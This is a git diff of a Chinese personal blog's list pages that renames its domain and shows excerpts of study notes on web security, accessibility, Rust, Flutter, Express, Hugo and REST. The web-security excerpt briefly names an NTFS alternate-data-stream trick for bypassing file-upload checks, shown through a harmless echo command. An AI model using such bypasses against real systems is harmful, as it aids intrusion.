id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span class=active>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-entry><header class=entry-header><h2>web安全学习笔记</h2></header><div class=entry-content><p>常见web工具：
 burpsuite：通过代理渗透，可重放HTTP请求，来分析HTTP响应
 curl：通过url方式传输数据，可用于抓取页面（执行请求），监控网络等等
 postmain
@@ -32,8 +32,7 @@
 Windows文件流绕过
 利用windows平台的NTFS文件系统的文件流特性，设置文件时，默认使用未命名的文件流，但是也可以创建其他命名的文件流
 例如：
-echo hallo,word > hallo.txt:a.txt
-echo hallo > hallo....</p></div><footer class=entry-footer><span title='2022-04-13 13:50:00 +0000 UTC'>2022-04-13</span>&nbsp;·&nbsp;2 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to web安全学习笔记" href=https://xiaochenabc123.github.io/posts/145/></a></article><article class=post-entry><header class=entry-header><h2>简单了解a11y无障碍</h2></header><div class=entry-content><p>a11y全称为Accessibility，A到y之间有11个字母，因此叫a11y，Accessibility中文翻译为可访问性，也就是无障碍
+echo hallo,word > hallo.txt:a.txt echo hallo > hallo....</p></div><footer class=entry-footer><span title='2022-04-13 13:50:00 +0000 UTC'>2022-04-13</span>&nbsp;·&nbsp;2 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to web安全学习笔记" href=https://chenjunlinabc.github.io/posts/145/></a></article><article class=post-entry><header class=entry-header><h2>简单了解a11y无障碍</h2></header><div class=entry-content><p>a11y全称为Accessibility，A到y之间有11个字母，因此叫a11y，Accessibility中文翻译为可访问性，也就是无障碍
 让网站具备无障碍性，可以让一些视觉障碍人士访问该网站，而且就算是其他人士使用，也会因a11y而受益（不因网络慢，css文件丢失而无法正常浏览页面内容）
 在mdn上有句话：The Web is fundamentally designed to work for all people, whatever their hardware, software, language, culture, location, or physical or mental ability. When the Web meets this goal, it is accessible to people with a diverse range of hearing, movement, sight, and cognitive ability.
 w3c发布了Web内容无障碍指南 (WCAG) https://www.w3.org/Translations/WCAG21-zh/
@@ -45,7 +44,7 @@
 可感知性（Perceivable）：非文本内容有文本替代，对于视频内容应该提供字幕，确保视感和听感都可浏览，不会因为某些原因导致信息或者结构（可以理解为文本顺序）丢失，应该具备可辨别性（颜色不应该作用区别视觉的唯一手段（针对色盲人士））
 可操作性（Operable）：页面可通过键盘来操作，而不是唯一依赖于鼠标，提供足够的时间来阅读和使用内容（比如定时可调整，关闭定时，延长定时等等），防癫痫（不使用会诱发癫痫的设计，例如控制闪光的次数），提供导航，查找以及提供内容位置，允许使用键盘之外的设备输入（例如鼠标或者手写板）
 可理解性（Understandable）：内容应该都是可读，可被理解的（例如设置多种人类语言，比如英文，中文，日文等等，根据操作系统使用语言或者时区设置为默认语言，语言可切换），任何操作都应该具备可预见性（例如关闭一个弹窗，不会导致其他意想不到的情况发生），当输入出现问题应该提示用户哪错了（例如注册时，密码的组合程度等等），当出现用户操作出错时，应该做到操作可逆或者二次确定操作（给予用户检查和纠正的机会）
-鲁棒性（Robust）：应该在发生某一些系统故障或者网络故障时，确保还能正常工作，而不是罢工或者出错，鲁棒性又叫抗干扰性，健壮性</p></div><footer class=entry-footer><span title='2022-04-09 13:01:00 +0000 UTC'>2022-04-09</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单了解a11y无障碍" href=https://xiaochenabc123.github.io/posts/144/></a></article><article class=post-entry><header class=entry-header><h2>Rust学习笔记</h2></header><div class=entry-content><p>Rust由非盈利组织Mozilla基金会开发，像著名的Mozilla Firefox浏览器和MDN Web Docs都出自该基金会
+鲁棒性（Robust）：应该在发生某一些系统故障或者网络故障时，确保还能正常工作，而不是罢工或者出错，鲁棒性又叫抗干扰性，健壮性</p></div><footer class=entry-footer><span title='2022-04-09 13:01:00 +0000 UTC'>2022-04-09</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单了解a11y无障碍" href=https://chenjunlinabc.github.io/posts/144/></a></article><article class=post-entry><header class=entry-header><h2>Rust学习笔记</h2></header><div class=entry-content><p>Rust由非盈利组织Mozilla基金会开发，像著名的Mozilla Firefox浏览器和MDN Web Docs都出自该基金会
 安装
 官方推荐使用Rustup来安装（Rustup是rust的安装器和版本管理工具）
 通过rustup-init来安装Rust
@@ -70,14 +69,7 @@
 其中Cargo.toml文件是项目的依赖库文件
 通过编辑Cargo.toml文件来添加依赖
 rust依赖可通过https://crates.io/查找
-[package]
-name = "hallo_word"
-version = "0.0.1"
-edition = "2021"
-[dependencies]
-hyper = "0.14.20" # 来自https://crates.io/
-# hyper = { git = "https://github.com/hyperium/hyper" } # 来自第三方社区
-# hyper = { path = "....</p></div><footer class=entry-footer><span title='2022-03-28 13:22:00 +0000 UTC'>2022-03-28</span>&nbsp;·&nbsp;7 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to Rust学习笔记" href=https://xiaochenabc123.github.io/posts/142/></a></article><article class=post-entry><header class=entry-header><h2>Flutter框架学习笔记</h2></header><div class=entry-content><p>Flutter是谷歌开源的跨平台UI框架，可以快速在iOS和Android上构建高质量的原生用户界面，可在Windows，Linux，Android，Web，iOS，Mac等6大平台上开发应用
+[package] name = "hallo_word" version = "0.0.1" edition = "2021" [dependencies] hyper = "0.14.20" # 来自https://crates.io/ # hyper = { git = "https://github.com/hyperium/hyper" } # 来自第三方社区 # hyper = { path = "....</p></div><footer class=entry-footer><span title='2022-03-28 13:22:00 +0000 UTC'>2022-03-28</span>&nbsp;·&nbsp;7 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to Rust学习笔记" href=https://chenjunlinabc.github.io/posts/142/></a></article><article class=post-entry><header class=entry-header><h2>Flutter框架学习笔记</h2></header><div class=entry-content><p>Flutter是谷歌开源的跨平台UI框架，可以快速在iOS和Android上构建高质量的原生用户界面，可在Windows，Linux，Android，Web，iOS，Mac等6大平台上开发应用
 闲鱼和Now直播，美团，快手都使用了Flutter
 获取Flutter
 https://storage.flutter-io.cn/flutter_infra_release/releases/stable/windows/flutter_windows_2.10.3-stable.zip
@@ -112,14 +104,7 @@
 运行后可以看到一个title以及内容都为Hallo word的app
 flutter自带了可视化工具，Dart DevTools
 自己写一个main.dart
-void main() => runApp(MyApp());
-class MyApp extends StatelessWidget{
-@override
-Widget build(BuildContext context){
-return MaterialApp(
-title: "hallo word", // app的title
-theme: ThemeData(
-primarySwatch: Colors....</p></div><footer class=entry-footer><span title='2022-03-22 12:00:00 +0000 UTC'>2022-03-22</span>&nbsp;·&nbsp;2 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to Flutter框架学习笔记" href=https://xiaochenabc123.github.io/posts/141/></a></article><article class=post-entry><header class=entry-header><h2>browserslist的简单配置</h2></header><div class=entry-content><p>browserslist是查询浏览器列表的工具，browserslisp的配置可写在package.json中，也可以单独写在.browserslistrc配置⽂件中
+void main() => runApp(MyApp()); class MyApp extends StatelessWidget{ @override Widget build(BuildContext context){ return MaterialApp( title: "hallo word", // app的title theme: ThemeData( primarySwatch: Colors....</p></div><footer class=entry-footer><span title='2022-03-22 12:00:00 +0000 UTC'>2022-03-22</span>&nbsp;·&nbsp;2 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to Flutter框架学习笔记" href=https://chenjunlinabc.github.io/posts/141/></a></article><article class=post-entry><header class=entry-header><h2>browserslist的简单配置</h2></header><div class=entry-content><p>browserslist是查询浏览器列表的工具，browserslisp的配置可写在package.json中，也可以单独写在.browserslistrc配置⽂件中
 browserslist的配置文件会被Autoprefixer，Babel，postcss-preset-env，eslint-plugin-compat，stylelint-no-unsupported-browser-features，postcss-normalize，obsolete-webpack-plugin工具读取，并且对配置的目标浏览器做适配工作
 npx browserslist可查看根据条件输出的浏览器列表
 查看全球用户份额大于0.2%的浏览器
@@ -133,19 +118,10 @@
 and就是和，or是或者
 browserslist的配置
 package.json（browserslist官方推荐用这个）
-"browserslist": [
-'> 0.2%',
-'last 1 Chrome versions'
-'not dead'
-]
-或者写成
-"browserslist": [
-'> 0.2% and last 1 Chrome versions and not dead',
-]
-.browserslistrc
-> 0.2% and last 1 Chrome versions and not dead
-browserslist数据的优先级：当前项目的package....</p></div><footer class=entry-footer><span title='2022-03-12 10:00:00 +0000 UTC'>2022-03-12</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to browserslist的简单配置" href=https://xiaochenabc123.github.io/posts/140/></a></article><footer class=page-footer><nav class=pagination><a class=prev href=https://xiaochenabc123.github.io/page/3/>«&nbsp;Prev&nbsp;</a>
-<a class=next href=https://xiaochenabc123.github.io/page/5/>Next&nbsp;&nbsp;»</a></nav></footer></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+"browserslist": [ '> 0.2%', 'last 1 Chrome versions' 'not dead' ] 或者写成
+"browserslist": [ '> 0.2% and last 1 Chrome versions and not dead', ] .browserslistrc
+> 0.2% and last 1 Chrome versions and not dead browserslist数据的优先级：当前项目的package....</p></div><footer class=entry-footer><span title='2022-03-12 10:00:00 +0000 UTC'>2022-03-12</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to browserslist的简单配置" href=https://chenjunlinabc.github.io/posts/140/></a></article><footer class=page-footer><nav class=pagination><a class=prev href=https://chenjunlinabc.github.io/page/3/>«&nbsp;Prev&nbsp;</a>
+<a class=next href=https://chenjunlinabc.github.io/page/5/>Next&nbsp;&nbsp;»</a></nav></footer></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script></body></html>
\ No newline at end of file
diff --git a/page/5/index.html b/page/5/index.html
index 3286d929..f4e9ba9c 100644
--- a/page/5/index.html
+++ b/page/5/index.html
@@ -1,4 +1,4 @@
-<!doctype html><html lang=en dir=auto><head><meta name=generator content="Hugo 0.111.3"><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>小陈的个人博客</title><meta name=keywords content="Blog,Portfolio,PaperMod"><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://xiaochenabc123.github.io/index.xml><link rel=alternate type=application/json href=https://xiaochenabc123.github.io/index.json><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="小陈的个人博客"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://xiaochenabc123.github.io/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="小陈的个人博客"><meta name=twitter:description content="小陈的个人博客"><script type=application/ld+json>{"@context":"https://schema.org","@type":"Organization","name":"小陈的个人博客","url":"https://xiaochenabc123.github.io/","description":"小陈的个人博客","thumbnailUrl":"https://xiaochenabc123.github.io/favicon.ico","sameAs":["https://github.com/xiaochenabc123","mailto:xiaochenabc123@qq.com"]}</script></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span class=active>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-entry><header class=entry-header><h2>简单使用Express-Web应用框架</h2></header><div class=entry-content><p>Express是基于nodejs的web应用框架（同时也是node的第三库），同时也是很多web应用框架的底层库，Express是cjs模块标准的http服务框架
+<!doctype html><html lang=en dir=auto><head><meta name=generator content="Hugo 0.119.0"><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>小陈的个人博客</title><meta name=keywords content="Blog,Portfolio,PaperMod"><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://chenjunlinabc.github.io/index.xml><link rel=alternate type=application/json href=https://chenjunlinabc.github.io/index.json><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="小陈的个人博客"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://chenjunlinabc.github.io/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="小陈的个人博客"><meta name=twitter:description content="小陈的个人博客"><script type=application/ld+json>{"@context":"https://schema.org","@type":"Organization","name":"小陈的个人博客","url":"https://chenjunlinabc.github.io/","description":"小陈的个人博客","thumbnailUrl":"https://chenjunlinabc.github.io/favicon.ico","sameAs":["https://github.com/chenjunlinabc","mailto:chenjunlinabc123@foxmail.com"]}</script></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span class=active>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-entry><header class=entry-header><h2>简单使用Express-Web应用框架</h2></header><div class=entry-content><p>Express是基于nodejs的web应用框架（同时也是node的第三库），同时也是很多web应用框架的底层库，Express是cjs模块标准的http服务框架
 安装
 npm install express –save
 或者安装express-generator脚手架
@@ -11,12 +11,7 @@
 运行
 npm start
 如果不使用脚手架（main.js）
-const express = require("express")
-const app = express()
-app.get('/',function(req,res){ res.end("hallo world!")
-})
-app.listen(3000)
-运行
+const express = require("express") const app = express() app.get('/',function(req,res){ res.end("hallo world!") }) app.listen(3000) 运行
 node main.js
 或者（监视nodejs应用中的任何更改并自动重启服务）
 nodemon main.js
@@ -27,18 +22,7 @@
 app.use(require(‘cors’)())
 Express连接MongoDB（mongoose）
 npm install mongoose
-const mongoose = require('mongoose')
-mongoose.connect('mongodb://localhost:27014/test',{useNewUrlParser: true})
-const testdb = mongoose.model('testdb',new mongoose.Schema({
-_id: Number,
-title: String
-}))
-/*testdb.inserMany([
-{_id: 1, title: "abc"},
-{_id: 2, title: "xyz"}
-{_id: 3, title: "abcxyz"}
-])*/
-app....</p></div><footer class=entry-footer><span title='2022-02-28 18:04:00 +0000 UTC'>2022-02-28</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单使用Express-Web应用框架" href=https://xiaochenabc123.github.io/posts/138/></a></article><article class=post-entry><header class=entry-header><h2>简单使用Hugo搭建网站</h2></header><div class=entry-content><p>Hugo是基于Go语言开发的静态网站生成器，特点就是快
+const mongoose = require('mongoose') mongoose.connect('mongodb://localhost:27014/test',{useNewUrlParser: true}) const testdb = mongoose.model('testdb',new mongoose.Schema({ _id: Number, title: String })) /*testdb.inserMany([ {_id: 1, title: "abc"}, {_id: 2, title: "xyz"} {_id: 3, title: "abcxyz"} ])*/ app....</p></div><footer class=entry-footer><span title='2022-02-28 18:04:00 +0000 UTC'>2022-02-28</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单使用Express-Web应用框架" href=https://chenjunlinabc.github.io/posts/138/></a></article><article class=post-entry><header class=entry-header><h2>简单使用Hugo搭建网站</h2></header><div class=entry-content><p>Hugo是基于Go语言开发的静态网站生成器，特点就是快
 安装
 二进制文件安装（由官方编译完成的二进制文件来安装，推荐使用，用源码容易出现问题）
 https://github.com/gohugoio/hugo/releases
@@ -63,7 +47,7 @@
 如果报错，you need the extended version to build SCSS/SASS的话，请使用extended版本
 部署到github pages
 hugo –baseUrl=“http://chenjunlinabc.github.io/"
-如果该命令执行成功，会将静态页面生成到public文件夹中，只需要push该文件夹到github上就好了</p></div><footer class=entry-footer><span title='2022-02-22 05:19:00 +0000 UTC'>2022-02-22</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单使用Hugo搭建网站" href=https://xiaochenabc123.github.io/posts/137/></a></article><article class=post-entry><header class=entry-header><h2>简单了解RESTful设计规范</h2></header><div class=entry-content><p>RESTful是指满足REST的约束条件和原则的应用或者设计，REST全称Representational State Transfer（表现层状态转移），REST出现在2000年Roy Fielding的博士论文中（Roy Fielding是HTTP规范的主要编写者之一），RESTful是目前最流行的API设计规范
+如果该命令执行成功，会将静态页面生成到public文件夹中，只需要push该文件夹到github上就好了</p></div><footer class=entry-footer><span title='2022-02-22 05:19:00 +0000 UTC'>2022-02-22</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单使用Hugo搭建网站" href=https://chenjunlinabc.github.io/posts/137/></a></article><article class=post-entry><header class=entry-header><h2>简单了解RESTful设计规范</h2></header><div class=entry-content><p>RESTful是指满足REST的约束条件和原则的应用或者设计，REST全称Representational State Transfer（表现层状态转移），REST出现在2000年Roy Fielding的博士论文中（Roy Fielding是HTTP规范的主要编写者之一），RESTful是目前最流行的API设计规范
 资源(Resources)：REST是基于资源的，不同的资源使用不同且唯一的URI(统一资源标识符（Uniform Resource Identifier），URI格式例如：/img/hallo.jpg，可表示一个资源的路径和资源名称，URI实质上就是URL加URN)表示，获取资源通过访问URI得到，这个资源可以是任何东西（例如txt，exe，iso，mp3，mp4等等）
 表示层(Representation)：表示层指是将资源具体内容以某种方式展现出来的，例如hallo.mp3，那么就会用mp3的格式来展现这个文件的内容
 状态转换(State Transfer)：如果希望客户端通过某种请求方式来让服务端表示层的资源发生改变，这就是状态转换，这请求方式分别为GET（获取资源），POST（新建资源），PUT（更新资源），DELETE（删除资源）
@@ -79,41 +63,21 @@
 HTTP请求方式（不同的操作使用不同的请求方式，例如获取资源使用get，post新建资源等等）
 如果资源庞大，可通过get参数的形式获取（例如分页），API的版本号应该放在URI中，更改资源，应该修改资源版本号，原有的URI应该保持继续可用
 需正确设置http状态码，根据http状态码来做出不同的响应，例如200正常返回，404文件不存在等等
-简单来说就是使用唯一接口，通过URL来访问不同的资源，通过不同的请求方式对资源做出响应</p></div><footer class=entry-footer><span title='2022-02-16 21:50:00 +0000 UTC'>2022-02-16</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单了解RESTful设计规范" href=https://xiaochenabc123.github.io/posts/136/></a></article><article class=post-entry><header class=entry-header><h2>Gin框架学习笔记</h2></header><div class=entry-content><p>Gin是一个基于go语言编写的web框架，因为Gin的路由库基于httprouter开发的，性能非常好，支持Restful api规范
